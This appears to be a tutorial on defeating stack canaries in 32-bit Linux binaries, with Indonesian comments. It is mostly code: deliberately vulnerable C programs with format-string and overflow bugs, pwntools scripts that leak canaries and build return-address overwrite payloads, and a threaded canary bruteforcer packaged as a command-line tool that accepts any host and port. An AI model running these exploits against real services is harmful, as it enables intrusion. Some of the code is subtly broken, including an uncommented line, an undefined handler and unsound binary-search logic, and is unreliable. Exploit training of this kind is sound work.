$ gdb ./vulnerable_program
pwndbg> checksec
[*] '/home/user/vulnerable_program'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

// VULNERABLE - user mengontrol format string
printf(user_input);

// AMAN - format string dikontrol programmer
printf("%s", user_input);

printf(input);  // Langsung tanpa format string
printf(buf);    // Buffer mungkin mengandung user input

from pwn import *

p = process('./vulnerable')

# Fuzz offset
for i in range(1, 20):
    p.sendline(f'%{i}$p'.encode())
    response = p.recvline()
    print(f"Offset {i}: {response}")
    p.clean()

p.sendline(b'%6$p')  # Coba offset 6
response = p.recvline()
canary_candidate = int(response.strip(), 16)

# Cek karakteristik canary
if canary_candidate & 0xff == 0x00:  # Byte terakhir null
    print(f"Potential canary found: 0x{canary_candidate:08x}")

#include <stdio.h>
#include <unistd.h>

void vuln() {
    char buf[64];
    printf("Enter your name: ");
    read(0, buf, 100);  // Buffer overflow here
    
    printf("Hello, "); 
    printf(buf);  // Format string vulnerability here
    printf("\n");
    
    printf("Enter your message: ");
    read(0, buf, 200);  // Second buffer overflow
}

int main() {
    vuln();
    return 0;
}

from pwn import *

# Context setting
context(arch='i386', os='linux')
context.log_level = 'debug'  # Untuk output verbose

# Start process
p = process('./vulnerable_program')

# [STEP 1] Bypass prompt pertama
p.recvuntil("Enter your name: ")

# [STEP 2] Kirim format string untuk leak canary
# Setelah fuzzing, kita tahu canary ada di offset 7
p.sendline('%7$p')

# [STEP 3] Parse leaked canary
p.recvuntil("Hello, ")
leak = p.recvline().strip()
canary = int(leak, 16)
log.success(f"Leaked canary: 0x{canary:08x}")

# [STEP 4] Konfirmasi karakteristik canary
if canary & 0xff != 0x00:
    log.warning("This might not be a canary (no null byte)")
    # Mungkin perlu coba offset lain

# [STEP 5] Bypass prompt kedua
p.recvuntil("Enter your message: ")

# [STEP 6] Bangun payload dengan canary yang valid
# Hitung offset berdasarkan analisis binary
offset = 64  # Size buffer
padding = 8  # EBP yang disimpan

payload = b'A' * offset      # Isi buffer
payload += p32(canary)       Canary yang valid
payload += b'B' * padding    # Overwrite EBP
payload += p32(0xdeadbeef)   # Return address

# [STEP 7] Kirim payload
p.sendline(payload)

# [STEP 8] Interact dengan shell
p.interactive()

# Start debugging
gdb ./vulnerable_program
pwndbg> break *0x8048526  # Break sebelum printf vulnerable
pwndbg> r

# Saat breakpoint hit, periksa stack
pwndbg> telescope 20
00:0000│ esp 0xffffd500 —▸ 0xffffd52c ◂— 'AAAA.%7$p'
01:0004│     0xffffd504 ◂— 0x0
02:0008│     0xffffd508 ◂— 0xf7fa5000
03:000c│     0xffffd50c ◂— 0x8048520
04:0010│     0xffffd510 ◂— 0x0
05:0014│     0xffffd514 ◂— 0xff8f7a44
06:0018│     0xffffd518 ◂— 0xefbe37a0  # Canary candidate
07:001c│     0xffffd51c ◂— 0x1
08:0020│     0xffffd520 ◂— 0xff8f7b14

# Verifikasi canary
pwndbg> x/xw $ebp-0xc
0xffffd51c:     0xefbe37a0  # Match dengan offset 7

# Lanjut execution
pwndbg> ni
# Program akan mencetak "Hello, 0xefbe37a0"

# Automated canary finding
def find_canary_offset():
    for i in range(1, 30):
        p = process('./vulnerable')
        p.recvuntil("name: ")
        p.sendline(f'%{i}$p'.encode())
        p.recvuntil("Hello, ")
        leak = p.recvline().strip()
        try:
            value = int(leak, 16)
            if value & 0xff == 0x00:  # Null byte characteristic
                log.info(f"Potential canary at offset {i}: 0x{value:08x}")
                # Verify by checking if it changes between runs
                p.close()
                return i
        except:
            pass
        p.close()
    return None

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>

void handle_client(int sock) {
    char buffer[64];
    
    // Baca input dari client
    read(sock, buffer, 128);  // Buffer overflow vulnerability
    
    // Process client request
    write(sock, "Response", 8);
}

int main() {
    int server_fd, client_sock;
    struct sockaddr_in address;
    int opt = 1;
    int addrlen = sizeof(address);

    // Create socket
    server_fd = socket(AF_INET, SOCK_STREAM, 0);
    setsockopt(server_fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
    
    address.sin_family = AF_INET;
    address.sin_addr.s_addr = INADDR_ANY;
    address.sin_port = htons(1234);
    
    bind(server_fd, (struct sockaddr*)&address, sizeof(address));
    listen(server_fd, 3);
    
    while(1) {
        client_sock = accept(server_fd, (struct sockaddr*)&address, (socklen_t*)&addrlen);
        
        // Fork untuk handle client baru
        if (fork() == 0) {
            close(server_fd);
            handle_client(client_sock);
            exit(0);
        }
        close(client_sock);
    }
    
    return 0;
}

from pwn import *
import time

# Tentukan offset ke canary
def find_canary_offset():
    # Gunakan pattern create/analyze atau manual calculation
    # Berdasarkan analisis binary
    return 64  # Contoh: canary berada setelah 64 bytes buffer

offset = find_canary_offset()

def brute_force_canary(host, port, offset):
    canary = b''
    found_byte = False
    
    # Bruteforce 4 bytes (32-bit canary)
    for byte_num in range(4):
        found_byte = False
        for byte_val in range(256):
            # Buat koneksi baru
            conn = remote(host, port)
            
            # Bangun payload
            payload = b'A' * offset  # Isi buffer
            payload += canary        # Bytes canary yang sudah diketahui
            payload += bytes([byte_val])  # Byte yang sedang di-test
            
            # Kirim payload
            try:
                conn.send(payload)
                
                # Coba baca response
                try:
                    response = conn.recv(timeout=2)
                    # Jika dapat response, byte benar
                    canary += bytes([byte_val])
                    log.success(f"Found byte {byte_num}: 0x{byte_val:02x}")
                    log.info(f"Current canary: 0x{canary.hex()}")
                    found_byte = True
                    conn.close()
                    break
                    
                except EOFError:
                    # Connection closed - byte salah
                    conn.close()
                    continue
                    
            except Exception as e:
                log.warning(f"Error: {e}")
                conn.close()
                continue
        
        if not found_byte:
            log.error(f"Failed to find byte {byte_num}")
            return None
    
    return canary

def verify_canary(host, port, offset, canary):
    # Test canary yang ditemukan
    conn = remote(host, port)
    
    payload = b'A' * offset
    payload += canary
    payload += b'B' * 12  # Padding
    payload += b'C' * 4   # Return address dummy
    
    conn.send(payload)
    
    try:
        response = conn.recv(timeout=2)
        log.success("Canary verified successfully!")
        return True
    except:
        log.error("Canary verification failed")
        return False

from pwn import *
import time

class CanaryBruteforcer:
    def __init__(self, host, port, offset, timeout=2, max_retries=3):
        self.host = host
        self.port = port
        self.offset = offset
        self.timeout = timeout
        self.max_retries = max_retries
        self.canary = b''
        
    def test_byte(self, candidate):
        """Test satu byte candidate"""
        for attempt in range(self.max_retries):
            try:
                conn = remote(self.host, self.port)
                payload = b'A' * self.offset
                payload += self.canary
                payload += bytes([candidate])
                
                conn.send(payload)
                
                # Tunggu response
                try:
                    response = conn.recv(timeout=self.timeout)
                    conn.close()
                    return True
                except EOFError:
                    conn.close()
                    return False
                except Exception:
                    conn.close()
                    continue
                    
            except Exception as e:
                log.warning(f"Connection error: {e}")
                time.sleep(0.1)
                continue
        
        return False
    
    def brute_force(self):
        """Main bruteforce routine"""
        start_time = time.time()
        
        for byte_num in range(4):
            found = False
            
            # Progress bar untuk current byte
            for byte_val in range(256):
                if self.test_byte(byte_val):
                    self.canary += bytes([byte_val])
                    elapsed = time.time() - start_time
                    log.success(f"Byte {byte_num}: 0x{byte_val:02x} "
                              f"(Time: {elapsed:.2f}s, Canary: 0x{self.canary.hex()})")
                    found = True
                    break
            
            if not found:
                log.error(f"Failed to find byte {byte_num}")
                return None
        
        total_time = time.time() - start_time
        log.success(f"Full canary found: 0x{self.canary.hex()} in {total_time:.2f} seconds")
        return self.canary

# Usage
bruteforcer = CanaryBruteforcer('localhost', 1234, offset=64)
canary = bruteforcer.brute_force()

from concurrent.futures import ThreadPoolExecutor, as_completed

def parallel_brute_force(self):
    """Bruteforce dengan parallel connections"""
    with ThreadPoolExecutor(max_workers=10) as executor:
        for byte_num in range(4):
            futures = {}
            
            # Test semua byte values secara parallel
            for byte_val in range(256):
                future = executor.submit(self.test_byte, byte_val)
                futures[future] = byte_val
            
            # Process results
            for future in as_completed(futures):
                byte_val = futures[future]
                if future.result():
                    self.canary += bytes([byte_val])
                    break

def binary_search_byte(self, byte_num):
    """Binary search untuk menemukan byte yang benar"""
    low = 0
    high = 255
    
    while low <= high:
        mid = (low + high) // 2
        if self.test_byte(mid):
            # Jika mid benar, cari yang lebih tinggi
            low = mid + 1
        else:
            # Jika mid salah, cari yang lebih rendah
            high = mid - 1
    
    return low - 1  # Return last successful byte

def adaptive_test_byte(self, candidate):
    """Timeout adaptive berdasarkan response time"""
    start_time = time.time()
    result = self.test_byte(candidate)
    response_time = time.time() - start_time
    
    # Jika response cepat, kemungkinan besar benar
    if response_time < 0.5:
        return True
    else:
        return result

# Enable debug logging
context.log_level = 'debug'

# Tambahkan timeout handling
context.timeout = 2

# Gunakan signal handling untuk connection errors
import signal
signal.signal(signal.SIGALRM, timeout_handler)

def partial_bruteforce(self, known_bytes):
    """Bruteforce hanya bytes yang tidak diketahui"""
    self.canary = known_bytes
    remaining_bytes = 4 - len(known_bytes)
    
    for byte_num in range(remaining_bytes):
        # ... same as before

// Generate canary setelah fork
void __attribute__((constructor)) generate_canary() {
    // Baca dari /dev/urandom untuk canary yang lebih secure
    int fd = open("/dev/urandom", O_RDONLY);
    read(fd, &global_canary, sizeof(global_canary));
    close(fd);
}

#!/usr/bin/env python3
import argparse
from pwn import *

def main():
    parser = argparse.ArgumentParser(description='Canary bruteforce tool')
    parser.add_argument('host', help='Target host')
    parser.add_argument('port', type=int, help='Target port')
    parser.add_argument('offset', type=int, help='Offset to canary')
    parser.add_argument('--timeout', type=float, default=2, help='Timeout per attempt')
    parser.add_argument('--workers', type=int, default=1, help='Number of parallel workers')
    
    args = parser.parse_args()
    
    bruteforcer = CanaryBruteforcer(
        args.host, 
        args.port, 
        args.offset,
        timeout=args.timeout
    )
    
    canary = bruteforcer.brute_force()
    
    if canary:
        print(f"Success! Canary: 0x{canary.hex()}")
    else:
        print("Bruteforce failed")

if __name__ == '__main__':
    main()

#include <stdio.h>
#include <unistd.h>

void vulnerable() {
    char buffer[40];
    printf("Buffer is at %p\n", buffer);
    read(0, buffer, 100);
    printf("Hello, %s\n", buffer);
}

int main() {
    vulnerable();
    return 0;
}

gcc -m32 -fstack-protector vuln.c -o vuln

080484db <vulnerable>:
 80484db:       55                      push   ebp
 80484dc:       89 e5                   mov    ebp,esp
 80484de:       83 ec 38                sub    esp,0x38        ; Alokasi 56 byte di stack
 80484e1:       65 a1 14 00 00 00       mov    eax,gs:0x14     ; Load canary dari TLS
 80484e7:       89 45 f4                mov    DWORD PTR [ebp-0xc],eax  ; Simpan canary di stack
 80484ea:       31 c0                   xor    eax,eax         ; Clear eax
 80484ec:       8d 45 d4                lea    eax,[ebp-0x2c]  ; Load address buffer
 80484ef:       89 04 24                mov    DWORD PTR [esp],eax
 80484f2:       e8 a9 fe ff ff          call   80483a0 <printf@plt>  ; Print buffer address
 80484f7:       c7 44 24 08 64 00 00    mov    DWORD PTR [esp+0x8],0x64  ; Argumen read: 100 byte
 80484fe:       00 
 80484ff:       8d 45 d4                lea    eax,[ebp-0x2c]  ; Buffer address
 8048502:       89 44 24 04             mov    DWORD PTR [esp+0x4],eax
 8048506:       c7 04 24 00 00 00 00    mov    DWORD PTR [esp],0x0  ; stdin
 804850d:       e8 8e fe ff ff          call   80483a0 <read@plt>  ; Vulnerable read
 8048512:       8d 45 d4                lea    eax,[ebp-0x2c]  ; Buffer address
 8048515:       89 04 24                mov    DWORD PTR [esp],eax
 8048518:       e8 73 fe ff ff          call   8048390 <printf@plt>  ; Print buffer content
 804851d:       8b 45 f4                mov    eax,DWORD PTR [ebp-0xc]  ; Load canary dari stack
 8048520:       65 33 05 14 00 00 00    xor    eax,gs:0x14     ; Bandingkan dengan canary asli
 8048527:       74 05                   je     804852e <vulnerable+0x53>  ; Jika sama, lanjut
 8048529:       e8 92 fe ff ff          call   80483c0 <__stack_chk_fail@plt>  ; Jika beda, abort
 804852e:       c9                      leave  
 804852f:       c3                      ret    

from pwn import *

# Setup context untuk architecture dan OS
context(arch='i386', os='linux')

# Jalankan program vulnerable
p = process('./vuln')

# Langkah 1: Dapatkan alamat buffer dari output
p.recvuntil('at ')
buffer_addr = int(p.recvline().strip(), 16)
log.info("Buffer address: 0x%x" % buffer_addr)

# Langkah 2: Gunakan format string untuk leak canary
# Dalam arsitektur 32-bit, parameter format string biasanya mulai dari [esp+4]
# Kita perlu menemukan offset yang tepat untuk canary
p.sendline('%7$p')  # Coba offset 7 (mungkin perlu disesuaikan)

# Langkah 3: Parse output untuk mendapatkan canary
output = p.recvuntil('Hello,')
canary_str = output.split(b'Hello,')[0].strip()
try:
    canary = int(canary_str, 16)
    log.info("Leaked canary: 0x%x" % canary)
except:
    log.error("Failed to leak canary. Try different offset.")
    # Coba offset lain secara brute force
    for i in range(1, 20):
        p = process('./vuln')
        p.recvuntil('at ')
        p.sendline('%' + str(i) + '$p')
        output = p.recvuntil('Hello,')
        val = output.split(b'Hello,')[0].strip()
        log.info("Offset %d: %s" % (i, val))
        p.close()
    exit(1)

# Langkah 4: Siapkan payload dengan canary yang valid
offset = 32  # Jarak dari buffer ke canary
payload = b'A' * offset      # Mengisi sampai tepat sebelum canary
payload += p32(canary)       # Canary yang valid (tidak diubah)
payload += b'B' * 8          # Mengisi saved EBP dan padding
payload += p32(0xdeadbeef)   # Return address yang ingin kita overwrite

# Langkah 5: Kirim payload
p.sendline(payload)

# Langkah 6: Interact dengan shell jika berhasil
p.interactive()

# Crash program tanpa canary yang valid
pwndbg> r <<< $(python -c "print 'A'*44 + 'B'*4 + 'C'*8 + 'D'*4")
# Program akan crash di __stack_chk_fail

pwndbg> x/xw $ebp-0xc  # Lihat nilai canary di stack
0xffffd00c:     0x41414141   # Terlihat canary telah ter-overwrite dengan 'AAAA'

pwndbg> r <<< $(python -c "print '%7$p'")
# Perhatikan output, cari nilai yang looks like canary (biasanya diawali null byte)

pwndbg> b *0x804851d    # Breakpoint sebelum canary check
pwndbg> r
pwndbg> ni              # Step through instruction
# Perhatikan nilai register dan stack saat canary verification

# Setelah mendapatkan canary melalui format string
pwndbg> p/x 0xefbeadde  # Ganti dengan nilai yang dileak
$1 = 0xefbeadde
pwndbg> x/xw $ebp-0xc   # Bandingkan dengan nilai di stack
0xffffd00c:     0xefbeadde

# Dengan canary yang valid
pwndbg> r <<< $(python -c "print 'A'*32 + '\xde\xad\xbe\xef' + 'B'*8 + '\xef\xbe\xad\xde'")
# Program tidak akan crash di __stack_chk_fail tapi di 0xdeadbeef